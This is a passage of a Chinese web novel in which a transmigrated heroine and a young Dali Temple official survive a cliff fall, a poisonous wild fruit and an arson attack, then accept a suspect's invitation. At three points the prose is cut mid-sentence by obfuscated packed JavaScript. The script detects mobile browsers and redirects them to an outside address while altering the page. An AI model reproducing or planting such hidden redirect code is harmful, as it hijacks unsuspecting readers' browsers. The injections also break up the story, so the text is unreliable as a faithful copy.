心绪烦乱间,手上拨弄火堆的枯枝不自觉用力,原本温和的火焰猛地蹿高,飞溅出许多火星,差点撩到他的衣袖。 宋清时吓了一跳。 跳动的火光将他冷白的肤色衬得暖洋洋的。 看清眼前人的样子,江遥噗地一声笑了起来。 养尊处优的小宋大人显然没有多少野外生存的经验,生起火来十分生疏,勉强生起的火焰只能用来取暖,连照明都做不到。 他的脸,还被烟撩得有点黑,身上白洁的衣袍也沾上了血污和尘土,整个人像一只刚从烟囱里爬出来的小黑猫。 等火稍微大一些时,宋清时生怕又被火星撩到,径直走到离那一团火焰有一丈远的地方才开始往里面添柴火。 他添柴火的时候不像在添,像是在扔,每个都要估量好角度,才能精准投到火堆里。 直到投完手边那一小堆木料,宋清时才无奈地瞥了一眼身侧笑得前仰后合的江遥,提醒道:“你当心伤口崩开。” 嘲笑别人的时候不觉得,这一提醒,江遥好像才猛地感觉到疼,捂着肩膀,龇牙咧嘴地叫起来。 她觉得这一定是对自己袖手旁观的报应。 “该,谁让某人笑话我。” 宋清时的语气已经恢复成了那副懒洋洋的样子,温和中带着三分骄矜,既暖又冷,不过却从袖中拿出了几样药草。 他好像很不习惯说出这么直白的关心话语,语气有点不自然:“顺手摘的,阿遥姑娘看看能不能用得上。” 江遥接过后,面露讶异。 她认出了这几样都是止痛和止血的药草,虽然不难寻,却都是长在峭壁之上的。怪不得,他会那样狼狈,原来不止是坠崖的缘故。 “没想到小宋大人也懂医理,”江遥的心蓦地软了一下,“能摘来这些,一定很辛苦吧?” 宋清时却只是淡淡摇头,语气很是随意:“谈不上懂医理,昔日书院读书时翻过几页医书,碰巧记得些图样罢了。” 果然,天才就是天才,连那么久之前随手翻过的医书内容都能记得。 不过,如果他在说这句话时,耳根没有泛起粉色的话,看起来就更厉害了。 江遥边捻草药边想,小宋大人是一个容易害羞的天才。 一刻钟后,江遥已经换好药,重新包扎好了伤口,坐到了宋清时旁边和他一起烤火。 背身而立的宋清时回过头看到她胡乱包扎的肩膀,露出了一个有点嫌弃的眼神。 江遥被他看得也有点不好意思,道:“我包扎得确实是不太讲究。” 宋清时之前给她包扎的时候,不但包得齐整,还打了个利落又别致的结。 轮到她自己动手时,因为是单手包扎,只能用牙咬着布条的另一端,勉强绕了几圈缠住而已,能不掉下来已经很不容易了,哪里还能顾得上漂亮。 丑就丑吧,谁让她是伤在肩膀呢?大不了,以后都让宋清时帮忙包扎。 像是忽然想到什么,江遥眨了眨眼睛,故作疑惑地问道:“不过小宋大人,你是用哪里的衣料给我包扎的呢,摸着还挺软的?” 宋清时:“……” 他觉得他没有办法启唇告诉对方,这衣料来自哪里。 难道要说,他因为摔下悬崖,一路剐蹭,又落进了细沙之中,外衣已经脏乱不堪,所以他只能撕下自己内衫的布料来给她包扎吗? 说不出口。 无论如何都说不出口。 宋清时本来就泛着粉色的耳根直接以肉眼可见的速度变成了红色,他却还强撑着若无其事地答道:“随便撕的,你满意就好。” 已经开始胡言乱语了。 小宋大人还是太不禁撩了,江遥忍着笑,决定不再逗他,想要做点什么来转移注意力。 “小宋大人,你累了吧,这火我来看,保证不会灭。” 江遥以前出任务的时候也在野外生过火,认为自己可以胜任添柴的任务,她还自夸道:“我觉得我应该比小宋大人有经验。” 然后很有信心地向快要燃尽的火堆中添上几根新枯枝。 “噗”的一声,火焰非但没亮,反而被压得一暗,晃了几下后,彻底熄灭了。 由于洞口外面被宋清时放了许多断枝与碎石做掩护,几乎没有月光透进来,火焰熄灭以后,四周一丝光亮也没有了,变得黑乎乎的。 一片黑暗中,年轻男子带着调侃的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506881|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起:“保证不会灭?” 哪怕什么都看不见,江遥都想象到了对方的表情。肯定是赤裸裸的嘲笑! 她干笑了两声:“意外,真的是意外。” 心中却突然反应过来了怎么回事。她趁机去翻了一下跳崖前兑换的那个保命buff的商品介绍,只见上面清清楚楚地写着: 【商品名称:“大难不死”主角必备神器 功能介绍:攻略者使用本商品后,在遇到生命危险时,无限增加气运值,保证自己和攻略对象大难不死。 副作用:使用后随机遇到三件倒霉事件,不限时间,不限场合。 价格:二十万积分。】 之前的情况太紧急了,兑换时没来得及仔细看。 江遥意兴阑珊地退出系统商店,内心暗暗祈祷,希望剩下两个讨厌的倒霉事件出现得合时机一点,不要影响到她的任务。 寂静里,只能听到宋清时重新开始钻木取火的声音,因为火折子在他们跳下来的时候不翼而飞,他们只能采用最原始的方法生火。 江遥出于心虚,也想来帮忙,却被宋清时拦下了。 “还是我来吧,毕竟在下没有阿遥姑娘有‘经验’,应该多练习一下。”他忍笑道,又把江遥之前自夸的话还了回去。 一回生二回熟,宋清时显然已经找到了生火技巧,还用发带和树木的枝条做了个简易的生火工具,生起火来有模有样的。 想到自己目前沾染的倒霉蛋体质,江遥也觉得,自己确实不应该再继续添乱。 她找了个墙角靠着坐下,身处伸手不见五指的黑暗中,视觉受限,其他感官就会更敏锐。 耳边风声呼呼作响,完全盖住了木棍和石块的摩擦声,鼻间可以闻到草木与夜露的湿凉气息。江遥的肩膀又重新感到细微的疼痛。 她索性开始让世界那头看监控器的蓝雁和她讲话,分散一下注意力。 蓝雁想了想说:“我觉得这次跳崖之后,宋清时对你的态度有点不一样了,但这种改变似乎又不是出于心动,而是另一种更复杂的情绪。我还以为,会有什么吊桥效应产生呢。” 所谓吊桥效应,就是指当人们处于紧张刺激的环境中时,可能会将不由自主产生的心跳加快误认为是心动。以前有很多和蓝雁合作的攻略组同事都喜欢用这个心理效应推进进度。 “我们小宋大人不仅智商高,情商也高,我不认为他会分不清肾上腺素飙升和心动的区别喔。”江遥虚弱地勾唇一笑。 一点暗红的火星自灰烬中亮起。 江遥蓦地转头,看向宋清时的方向。 只见他用修长的手指护着那点光亮,口中轻轻吹气,一簇金红色的火苗便燃了起来。 枯枝在火焰的燃烧下发出噼啪声,火焰越来越大,自昏暗中一寸寸照亮年轻男子低垂的眉眼、高挺的鼻梁和那张没什么表情的脸。 火焰在他眸中跃动,明明灭灭。 她的小宋大人功夫不负苦心人,终于重新生起了火。 看着那张重新被镀上暖色的脸,江遥在脑海的系统中操作了几下,才对蓝雁道:“我想,小宋大人目前更多的是不习惯吧,运筹帷幄如他,还不适应这种在突如其来的危难中被人保护的感觉。等他反应过来了,好感度还会上升的。” 而她这次来天行山的目的,已经达到了。 在她的控制面板上,白色布偶猫头像那一栏的好感度已经达到了25%。 剩下的,只需要一个催化剂就可以了。 30. 散漫傲娇少卿10 夜色深深,万籁俱寂。 宋清时静坐于重新燃起的、跃动而稳定的火焰前,姿态看似随意,周身却笼罩着一种无声的专注。 在他身侧,是呼吸均匀的江遥。她的睡颜安静恬淡,乌发披散着,苍白的唇色在暖光下柔和了一些,但是眉心仍浅浅蹙着,大约是因为肩上的伤口还在隐隐作痛。 他凝视许久,直到已经原本止歇的秋风重新自洞口吹入,引得眼前女子无意识瑟缩了一下,才惊觉秋日寒凉。 宋清时垂眸,脱下外衫,将还带着体温的衣裳轻轻覆在她身上,然后才退回原处坐下,姿态依旧疏懒。 似乎只有在这样夜深人静的时刻,他才会坦然暴露出自己的伤痕。 宋清时随意地抬起自己的左臂,就着火光,漫不经心地掀开了衣袖。 在他的手臂外侧,几道寸许长的擦伤露了出来,伤口不深,却因为沾染了尘土和血迹,被他冷白的皮肤映衬得格外刺眼。 他拿过之前江遥没有用完的药草,随意地将药草捻出汁液,敷在自己的伤处。 处理好了之后,又重新将衣袖放下,整个过程安静利落,做完后就如同什么也没有发生一般。 夜风轻拂过面颊,火焰微微跳动,被林木和碎石掩映着的洞口依稀有微弱的月光照进来。 聊胜于无的光亮。 穿着单衣的宋清时靠着石壁的一角,恍然记起,今夜正是中秋之夜。 在这个本该是月圆人安的时节,他和她,却连望月的机会都没有。 * 翌日清晨,第一缕晨光刺破云层,给门户大开的山洞带来光亮。 江遥醒来时,发现自己还盖着宋清时的外衣。右肩伤口的疼痛较之昨日,减轻了许多,她睡眼朦胧地坐起身,长发如瀑般披散,有几缕发丝因为沾染了血迹,黏在颈边。 洞内火光已熄,只剩下一堆温热的灰烬,宋清时却不见人影。 她扶着墙壁慢慢站起,走到洞口。从洞口走出几步,便看到几棵果树横斜出来,另有不知名的浅绯色花朵长在枝头,花瓣上还沾着露水。 没想到在草木摇落的秋日,仍有这样盛开的花朵。 江遥顺手折下一小段花枝,将披散的头发绾了起来。她的发带早已经在昨日的折腾中不知去向,只能就地取材了。 待看到溪边那个熟悉的身影时,江遥弯了弯唇。 不得不说,宋清时找的这处山洞地势极好,临近有水源,几步之外有野果。 他蹲在溪边,似乎正在清洗什么,神情格外专注,连她的脚步声都没听到。 江遥莫名想起之前在大理寺门前见过的一只小白猫,也是这样低着头,一丝不苟地打理自己的皮毛。果然,爱干净是猫猫的天性,小宋大人也不例外。 然而等她走近些,看清男子手中的东西时,神情不由得一怔。 他洗的,正是她的发带。 清澈的溪水微微荡漾,倒映着年轻女子柔和的面容。 宋清时在她走近时便已经察觉,却未回头,直到将已经清洗干净的檀紫色发带拧去多余水分,才转过身,手臂一舒,把发带递到她面前。 “今日晨起,在怀中摸到的。许是因为昨夜天色昏暗,没有留意到。”他的嗓音还带着些晨起未散的慵懒,又透着一点溪水般的清冽:“如今正好物归原主。” 稀松平常的语气。 好像为她洗发带这件事再正常不过,他顺手便做了。 晨光熹微,清风吹拂,江遥却感到心间有一阵淡淡的暖意。她接过自己还湿润的发带,轻声道:“那便多谢小宋大人了。” “一点小忙而已,不用谢。”宋清时很骄矜地点了点头,目光像是不经意,很淡地扫过她发间别着的绯色花枝:“而且你似乎已经不太需要发带了。” 江遥忙道:“怎么会不需要呢,这根发带我很喜欢的。” 宋清时这才翘了翘唇角,道了句嗯。 他方才在水边净了脸,洗干净了身上的污渍,已经恢复了往日的那种骄矜贵气,但落在江遥眼里,还是很像一只因为把自己洗干净了而十分神气的漂亮小猫。 可可爱爱的。 然而下一秒,一阵不合时宜的肚子的咕噜声将小宋大人的神气给打断了。 宋清时不自在地咳了一声,表情难得有一点不好意思。 为了维护小宋大人的面子,江遥恍若未闻,一双眼睛左看右看,最终将目光停留在了方才看到的果树上。 她将手中那件月白色外袍交还给他,然后眨了眨眼睛,眼中掠过一丝狡黠:“为了感谢小宋大人,我请大人吃果子吧。” 宋清时还未反应过来,便见江遥便一个纵身,施展轻功,纵然因为右肩有伤,较平日里慢了些,但还是顺利地跳到了一颗果树上。他下意识往前赶了几步,冲树上的人道:“你的伤是不打算好了?” 江遥在树上还不忘贫嘴:“看到小宋大人洗的发带,我便什么都好了。” “油嘴滑舌。”树下的宋清时很无奈地叹了口气,却不可避免地受用了她的话,唇边漾起一个很浅的笑。 不多时,江遥摘完果子,跳了下来。 两人找了个干净的地方坐了下来,仔细打量摘来的五颜六色、奇形怪状的果子。 宋清时略有犹豫道:“这真的能吃吗?” 虽说对山间野果不能要求太高,可据他少的可见的野外经验判断,这些野果无论怎么看,都不太像正常的果子。 江遥也摸着下巴,不太确定。但这好歹是她带着伤辛苦摘来的,她不能自己打自己的脸。 于是她拿起一颗心形的果子,举到宋清时面前:“小宋大人,这个果子在对你示爱呢,你真的忍心怀疑它吗?” 宋清时嫌弃而坚决地摇了摇头,很有骨气地说:“不吃。” 然后望着江遥受伤的眼神,又很快找补道:“我的意思是,之前那群杀手没有亲眼见到我们的尸体必不会善罢甘休,也许不久就会找过来。我们之间起码要有一个清醒的人。” “好吧。”江遥只好自己享用这些果子,就着沁凉的溪水,将果子洗干净后,她试探性地咬了一口,发现这果子脆甜脆甜的,还挺好吃的。 宋清时低头将被弄脏的外袍浸湿,余光瞥见江遥吃得眉眼都舒展了起来,忍俊不禁地问道:“真有那么好吃?” “你尝一个?”江遥又递过来一颗果子,指尖还沾着水珠。 宋清时摇了摇头。他已经开始在洗自己的外袍了。显然,对于没怎么做过这件事的小宋大人来说,这是一项大工程,无暇分神吃东西。 “哎,”江遥故作老成地叹了口气,撑着膝盖想站起来,口中那句“这么好吃的果子就要被我吃完啦,小宋大人可不要后悔”还未说完,人便控制不住地向前跌去。 宋清时从水光晃动的倒影里瞥见她身形踉跄,瞳孔微缩,几乎在她跌落的瞬间就已经起身,将人接住。 “这果子真的有毒。” 江遥跌进他充满奇楠气息的怀里,只觉得浑身的力气都被抽空,疲软得抬不起手。 她想,吃野果中毒,这一定是那件保命buff带来的第二件倒霉事。 宋清时揽着她,声音里有罕见的紧张:“哪里不适?” 江遥虽然四肢无力,神智却异常清醒。电光石火间,她想到一个名字:醉骨果。 上个攻略任务中,她和云溪一起摘花,小姑娘曾经提过不少奇花异草。 她说有种果子很奇怪,一月一结,泛滥异常,长得很是奇形怪状,食此果者,会觉周身疲乏,使不上力气,像是骨头都被醉倒了一样,所以得名醉骨果。 自己如今这个症状,倒是与食用了醉骨果很像。 “不用担心,我忽然想起这是醉骨果。”江遥靠在宋清时肩头,声音因乏力而轻软,“食此果者,会觉周身疲乏,使不上力气,就连伤口沾了它的汁液,也会有同样的效果。不过药性不长,至多一个时辰便消了。” 宋清时闻言松了口气,调侃道:“现在才想起来,是不是太晚了。” “醉骨果……”他低声重复着,忽然眸光一亮,抬眼望上一旁的果树,道:“这棵树的果子是醉骨果,那它的枝叶莫非就是醉骨草?” 江遥心口一跳:“对呀,我怎么就没想到呢。” 她们之前找醉骨草的时候,单单是根据醉春楼中那些舞姬的说辞来的,每个人说的都不尽相似。 因为过于重视这些模糊琐碎的线索,反而被扰乱了思绪,忽略了近在眼前寻常果树。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506882|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 真是踏破铁鞋无觅处,得来全不费工夫。 宋清时正要去折那枝叶,忽然听到了一阵杂乱的脚步声,那声音落在这寂静的山林中,显得那么清晰与突兀。 他心下一凛。 没有丝毫犹豫,急忙俯身抱起浑身无力的江遥,未免暴露行迹,还不忘拿过剩下的野果和已经湿透的外袍,急步往山洞中跑去。 待进入山洞中后,他先将她小心安置在一处地方,又飞快地将之前的碎石枯枝整理好,重新将洞口掩藏起来。 洞口外的脚步声越来越近,已经能听见粗重的呼吸声和黑衣杀手们的交谈声。 昏暗的石洞内,只有缝隙中透进来的几缕天光照亮。 宋清时背靠冰凉的石壁,袖中的手无声捏紧。 在他的手中,紧攥着几枚醉骨果。 昨日他便已经在沿途留了痕迹,段昇若是发现他们一日未归,应当会带人来天行山寻找。 估摸着调拨人手和从京都来此的时间,也该差不多了。只需要再拖延上一会儿,等到段昇他们来就可破局。 “你身上,还有几支飞椎?”宋清时轻声问。 江遥一愣:“还有最后三支,但都没有涂毒。” 飞椎只有在出其不意时才效果最好,带得多了,反而容易暴露。 “都交给我。”宋清时语气很平静,却令人莫名想要信赖。 接过飞椎后,他手上微微用力,几枚小小的野果就被他碾出汁液。 他将捻出的汁液涂到飞椎上,藏于袖中。 他想,这群黑衣人是为他而来,若是真的到了万不得已的地步,他拼了命也会拖延他们至段昇来的那一刻。 无论如何,他都会为她博一个生路。 洞口之外,一群黑衣人在附近搜寻了一圈,没有发现任何踪迹,正要离开此处,为首的疤痕刀客脚步却忽然顿住。 他那鹰隼般的目光紧盯着地面上的几滴极小的血迹。 从血迹干涸的程度来看,应当是不久之前刚刚滴落的。 疤痕刀客眯起眼,顺着血迹的方向看去,果见不远处林木和碎石掩映的缝隙后,隐约透着点不自然的阴影。 似乎是个山洞。 疤痕刀客无声抬手,做了个手势。几名黑衣人登时领会,不动声色地接近那处,待快要走到山洞时,几人同时拔剑一砍。 谁知就在林木破开的瞬间,两支飞椎袭来。 那飞椎准头很差,并未伤及要害,中招的那两人甚至没感觉到疼,就双腿一软,倒了下来。 两人均惊恐地看向飞椎袭来的方向。 林木掩映的黑暗洞口,隐约走出来一个身影。 月白色单衣的宋清时迎光而立,衣袍被风吹拂得猎猎作响,指尖犹带着飞椎的寒光。 他目光越过地上瘫软的那两人,与脸色阴沉的疤痕刀客对视,唇角很淡地上扬了一下,颇有些挑衅地说:“还有人想迎战吗?” 即使处于这般难堪的境地中,年轻男子也依旧姿态卓然,目光坦荡,那张精致的脸上没有丝毫害怕,反而一副胜券在握的样子。 那目光实在太过平静镇定,疤痕刀客早闻宋清时“多智近妖”的名声,生怕此刻闯入,洞内会有什么陷阱等着他们。 十来个手持利刃的黑衣人,面对手无寸铁的宋清时,竟一味在洞口踌躇不前,无人敢向前踏一步。 宋清时嗤道:“一群废物。” 疤痕刀客眼中闪过戾气,冲他劈去一掌,却并未使出全力,只在试探。 宋清时明明已经侧身躲开,却仍被他残留的掌风带得撞上后方石壁。 趁他身形未稳,疤痕刀客刀锋朝洞口旁的巨石一指。 几名黑衣人瞬间会意,同时发力,一起踹向巨石。轰然一声后,那狭窄的洞口已然被巨石堵得严严实实。 疤痕刀客笑道:“宋少卿既然不舍得出来,那就永远不要出来了。”他退后几步,声音狠厉:“来人,取火油,放火烧山。” 他今日定要宋清时命丧于此。 火焰伴随着洞口外的枯枝落叶愈演愈烈。不多时,此处已经浓烟滚滚,火光滔天。 疤痕刀客立于上风处的岩石上,冷眼瞧着那一处火势凶猛的洞穴,无声地笑了。 31. 散漫傲娇少卿11 这大概是段昇印象里,自家大人最狼狈的时刻。 在此之前,他根据大人沿途留下的隐秘线索,一路寻找。可那些记号到了崖下竟被人刻意损毁,已然辨别不清指示的方向。 秋风萧瑟,吹得人脊背发寒,段昇却急出了一身冷汗。 正当他焦急寻找时,忽而望见某处的林子火光滔天,浓烟直冲云霄,哪怕相隔甚远,也能一眼瞧见。 段昇惊震不已,急忙带着大理寺的一众人马冲了过去。 他们赶到时,只见一处山洞几乎已经要被熊熊的火焰所吞噬,洞口被一方巨石死死堵着。在秋风的助力下,火焰仍有蔓延之意,根本无法让人靠近。 越来越多的黑色浓烟从缝隙中涌入山洞。 再这样下去,山洞里面的人即使没被火烧死,也一定会被浓烟呛死。 情急之下,段昇毫不犹豫地跳入一旁的溪水之中,直到溪水将全身的衣物浸透,才回到岸边。他带着满身的水直冲进了火海之中,脚踏在石壁上,借力腾跃而上,狠狠踹向堵门的巨石。 但可惜,巨石只是晃了晃,向旁边移开一点。 洞内的情形,依旧看不到。 其余的人见状也不再犹豫,纷纷跳入溪水中,打湿衣袍后冲进火海,同段昇一起对付那巨石。十余个湿透的身影齐心协力,终于将碍事的巨石推向一旁。 火光与浓烟被破开的瞬间,洞内情形映入眼帘,众人的脸上都带着几分惊诧。 只见浓烟弥漫的山洞深处,他们那位素来矜贵从容的小宋大人,此刻脊背靠着墙壁,单膝跪地,唇角挂着鲜红的血迹。那张总是带着倦怠神色的脸,此刻苍白如纸。 在他的肩头,还靠着一个昏迷不醒的姑娘。 小宋大人身上仅仅穿了件单衣,衣袖还有被火灼烧过的痕迹。而他那件月白衣袍因为沾湿了水,变得皱皱巴巴的,正裹在那个昏迷的姑娘身上。 他就这样以一种清疏的姿态,守护着身边的姑娘。 段昇从没见过这样狼狈虚弱的宋清时,登时觉得眼眶发热,急忙冲上前去询问:“大人,你怎么样?” 看清是他后,宋清时紧绷的身形终于松懈下来。他咳了几声,哑声道:“……放心,没死。” 语罢,他又看向身旁昏迷的女子,蹙眉道:“先让大夫看看阿遥姑娘如何吧……她肩上伤重,又吸进了浓烟。” “明白。”段昇不敢耽搁,小心地接过昏迷的江遥。洞口的火已经被扑灭,段昇带着江遥很快冲了出去。 宋清时也被其余的属下扶出了山洞。 * 宋府之内。 宋清时身上的擦伤和被火烧伤的伤口都已经包扎完毕,换好衣裳后,面色苍白地坐在椅子上。 大理寺随行的大夫是男子,到底不方便为江遥看伤,只在当场确认江遥是因为吸入了太多的浓烟才昏迷之后,便没有进一步包扎。 宋清时不知江遥在京中所居何处,索性把人带回了宋府。段昇则去京中最大的医馆请了个女大夫来给江遥治伤。 他请来的这个女大夫倒也是宋清时的熟人,正是两年前他任职楚州时结识的医女,季半夏。 不多时,季半夏从内室中走出来。 “这姑娘身上多是皮外伤,倒是没有被火灼烧的伤口。”半夏说,“只是她肩膀的那道刀伤很严重,幸亏之前处理得当,这才没有溃烂发炎。接下来只需要按时敷药,妥善地养几个月就好了。” 她又看向宋清时,语气里多了几分叮嘱的意味:“但是注意,这几个月先不要让她动刀动剑的了,否则留疤就不好了。姑娘家总是爱美的,你在这方面一定要重视些。” 宋清时淡淡颔首:“有劳了。” “行了,都这么熟了,还跟我客气什么。”半夏摆摆手,语气熟稔。 宋清时回京这几个月,大理寺查案没少麻烦她,两人也算有些交情了。 她往内室方向瞥了眼,确定江遥还未醒来,才促狭道:“我听小段大人说,他们推开石头那会儿,小宋大人你可是和里面那位姑娘靠在一起呢。” 她看着宋清时被火烧伤的手臂,煞有其事地啧啧两声:“难怪那位姑娘没有被火烧伤呢,感情火都让小宋大人你挡了。” “一起跳崖求生,又一起火海脱险,这般同生共死的经历要是放在话本子里,那可是正儿八经的命定姻缘啊。” 宋清时闻言,淡淡扫了一眼一旁试图逃跑的段昇。 被发现的段昇脚步一顿,讪讪道:“我救出大人和阿遥姑娘以后太激动了,没忍住同季大夫多说了几句。” 面对半夏揶揄的目光,宋清时叹了口气,语气平淡地解释:“她误食了醉骨果,浑身无力,所以才靠在我身上的。” 似是想到什么,宋清时神色认真了几分,转头对段昇道:“这件事到此为止,不要再对旁人提起。也告诉底下的人不要捕风捉影、乱传谣言。这太影响她的清誉了。” 宋清时深知人言可畏,若是他和江遥一同遇险的事情传扬出去,人们最先诟病的一定是作为女子的江遥。 他向来散漫恣意,又出生显赫,于功名利禄和声名口碑都看得极淡。 可江遥不同,她是女子,这世道本就对女子更苛刻些。 她将来也许要议亲嫁人,也许要继续过写话本、行侠仗义的生活,无论哪条路,总都需要一个好的名声。 段昇也意识到了自己行为的不妥之处,正色道:“我知道了,大人,底下的人我也会管好的,绝不让他们传出一星半点儿的流言。” 可一旁的半夏却只是但笑不语。 她想:即使小宋大人不知道那位姑娘的住处在哪里,可这京都的客栈那么多,宋清时又不缺钱,住哪处不行?实在不行,住她们医馆也可以啊。 但是他偏偏将人带来自己的府邸疗伤。 只能说,小宋大人是下意识地想把这位姑娘放在自己目之所及之处吧。 宋清时被她笑得有些不自在,皱眉道:“笑什么?” 半夏赶紧收敛神色,一本正经道:“哦,没有,我是因为小宋大人的平安归来而感到喜不自胜呢。” 宋清时轻嗤了一声:“虚伪。我看你是在想怎么从我这里多坑些诊金。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506883|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“大人知道该多给我诊金就好,反正您也不缺那点儿钱。” 半夏是极会审时度势的人。见宋清时不悦,马上顺势换了话题,开始说起案子的事:“说正事。段昇之前送来医馆查验的酒和糕点,我仔细研究过了。” “我发现单用其中一样,并无大碍,但若是两者一起服食,的确会让人神思恍惚,若是过量食用,还会出现幻觉,令人惊恐而死。不过很可惜,我从没见过醉骨草的实物,无法断定醉春酒是不是以此入药。” 一听到此处,段昇便有点失落。 他们赶到的时候,山洞周围的一切都已经付之一炬,别说是醉骨草,石壁都要烧成灰了。 都怪他去得太迟了。 “谁说没有醉骨草?” 一道清亮的女声响起。 几人转头,看见已经换了干净的衣裳、重新包扎好伤口的江遥站在内室门边。 她拿出一支花枝道:“瞧瞧,这不是吗?” 宋清时认出,这正是她之前别在头上的那一支细枝。 半夏端详片刻后,笑道:“这正与书中所说的对上了,是醉骨草无疑了。” “太好了。”段昇精神一振,又补充汇报道:“我这边还有其他的线索。大人,经查明,那家专供醉春楼糕点的食味轩,背后的东家是如今的御史中丞,陆淮舟陆大人。” “博陵崔氏的那位女婿?”宋清时眉梢微扬,眼中带着几分兴味。 他觉着这件事可还太巧了,因为这个案子的第一个死者正是这位陆大人的岳丈,崔大人。而且,他依稀记得,这位陆淮舟好像和另一名死者高慕贤是同一年的进士。 段昇道:“还有更巧的呢,我回家向父亲问起陆大人,父亲说陆大人和高慕贤似乎素有龃龉,从不肯出席同一个宴会。上回礼部办的那个文人雅集,陆大人也没去。” 话说到此处,段昇自己先愣住了,随后他猛地一拍手:“这不都对上了!这个陆大人,肯定有问题。” 几人正说话间,仆人拿着一封请帖入内,躬身道:“公子,这是陆府派人送来的。” 宋清时接过,打开。 请帖上面仅有寥寥数语: “秋意渐浓,府内枫红如火。闻宋少卿历险归来,特邀少卿明日巳时过府,听戏一折,手谈一局。” “陆淮舟,诚邀。” 在这个时节,送上这样的请帖,某种程度上可以算得上挑衅了。 就好像在说,我知道你已经怀疑我,但那又如何,你有实证吗?我不仅不怕你,还要邀请你来我的府中对弈。 段昇当即变了脸色,一拍桌子,生气地说:“这不明摆着的鸿门宴吗?大人,你索性回绝了他,叫他知道你不是他想请就能请得动的。” 宋清时却看着信笺上那笔力遒劲又龙飞凤舞的字,唇角很淡地勾了一下。 他倒觉得陆淮舟是个有意思的对手。 比起那些虚与委蛇的客套试探,他更欣赏这样直白的交锋邀请。 “为何不去?”宋清时将请帖合上,眼中兴味盎然,“我可是许久没和别人好好下一局棋了。” 32. 散漫傲娇少卿12 陆府的西院,戏台两侧的厢房人来人往,有已经换好戏服的演员挥舞着水袖开嗓,也有还没来得及上妆的演员在对镜勾脸。 演出开始前,所有人都在紧锣密鼓的准备中。 “这就是你说的催化剂?啧啧,这脸涂得,宋清时还能认出来你吗?” 蓝雁的声音里带着几分新奇。 江遥对镜瞧了眼自己现在的样子,镜中人脸上画着厚厚的戏妆,身上还穿着绣工繁复的戏服,确实和平日里的她判若两人。 她转了转手中充当武器的长棍,浅笑道:“对啊,我正在想一会该以什么样的姿态美救英雄呢。” 这次也是巧了,陆淮舟请的这云韶班,班主正好是她一位师姐,得知她要借戏班混进陆府,探查杀害绿漪的真凶,师姐二话不说就应下了。 不仅如此,师姐还要让她演主角。 面对她的推辞,师姐当时是这么说的:“你别谦虚了,当初师父教咱们唱念做打,你可是独一份的灵。我要让那个姓陆的知道,咱们师门的人不仅戏唱的好,剑耍得更好。” 她说,她要她的小师妹在最光华夺目的时候,将剑落在仇人的脖子上。 江遥也便不再推辞。 想到一会儿会发生的情形,江遥对蓝雁道:“这催化剂到底灵不灵,你等着瞧吧。” * 雕梁画栋的戏台之后,是大片如火如荼的枫树林,铺天盖地的红将台上那出才子佳人的故事衬托得愈发哀怨。 今日演得这一出戏名叫《连理枝》,是云韶班里最出彩的一出戏,许多达官贵人都爱点。 讲的是高门贵女沈倾为求学问,不惜女扮男装,进入应天书院读书。 在应天书院中,她结识了出身寒门的学子粱生,二人志趣相投,渐生情愫。然而因两家门第悬殊,女方的家人坚决反对这门亲事。为了抗争命运、厮守终身,两人竟然双双殉情。 家人终被两人的至情感动,为两人补了冥婚,至此,这对有情人才终是在地下结成了连理枝。 戏台东侧的凉亭,有两人对座弈棋。陆府下人不多,他们身边更是只有一位戴面具的仆人随侍,不时添些茶水。 宋清时的眸光似是不经意,落在台上的江遥身上,眸中有一闪而过的惊艳。 他从不知道,江遥的戏竟然唱得这样好,一颦一笑,皆是风采,恍若她真的是那位高门贵女沈倾一般。 最初因她肩上的伤未痊愈,他是不允她来的。可江遥只用一句“师姐与陆淮舟的恩怨,我须得亲手了结”,便把他的所有阻拦都堵了回去。 的确,他没有立场,也没有理由阻止江遥。 他以为她会像上次在醉春楼时一样,扮一个不起眼的小角色。可当大幕拉开时,他看到,她扮演的角色居然是沈倾。 宋清时心中着实为她捏了一把汗,怕陆淮舟发现端倪。直到她开嗓,唱腔清越婉转,很自然地把人带入故事里,他悬着的心才算放下。 对面的陆淮舟不紧不慢地落下一子后,也抬首看向戏台。 戏台之上,正好演到初出家门的沈倾终于不再困于狭小的闺房,始觉天地之大,欣喜无限。 陆淮舟望向“沈倾”的眼神带着一点怀念,又有一点隐晦的落寞。 他说:“这出戏,我的妻子曾经格外喜欢。” “妻子?”宋清时缓缓落下手中的白子,语气似有疑问。 他记得卷宗上写道,陆淮舟与其妻崔令仪自成婚以来便感情疏淡,早已分院别居。几年前崔令仪因病去世后,陆淮舟甚至连葬礼都未曾亲自操持。 这样感情淡薄的婚姻,他还会记得妻子的喜好吗? 